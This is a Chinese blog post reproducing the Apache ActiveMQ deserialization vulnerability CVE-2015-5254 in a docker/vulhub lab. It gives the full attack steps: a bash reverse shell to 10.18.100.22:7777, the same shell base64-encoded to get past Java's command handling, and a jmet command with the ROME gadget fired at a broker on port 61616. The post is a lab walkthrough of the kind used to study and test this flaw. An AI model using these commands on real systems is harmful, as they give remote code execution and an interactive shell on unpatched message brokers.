ActiveMQ 反序列化漏洞(CVE-2015-5254)复现

Franchi小白帽

于 2020-01-22 16:51:03 发布

阅读量605

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现

本文链接：https://blog.csdn.net/baidu_38844729/article/details/104070909

漏洞复现专栏收录该内容

13 篇文章

订阅专栏

本文介绍Apache ActiveMQ 5.x版本中一个未限制序列化类的安全漏洞，远程攻击者可利用此漏洞通过特制的Java Message Service ObjectMessage对象执行任意代码。文章详细描述了如何在docker环境下复现漏洞，并提供了构造payload的具体步骤，包括反弹shell的实现。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前言

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码

步骤

搭建环境：docker+vulhub
1.下载jmet的jar文件，并在同目录下创建一个external文件夹
链接：https://github.com/matthiaskaiser/jmet/releases
2.构造payload
反弹shell：

bash -i >& /dev/tcp/10.18.100.22/7777 0>&1

使用base64编码绕过java的机制：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xOC4xMDAuMjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

执行payload：

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xOC4xMDAuMjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 10.18.100.52 61616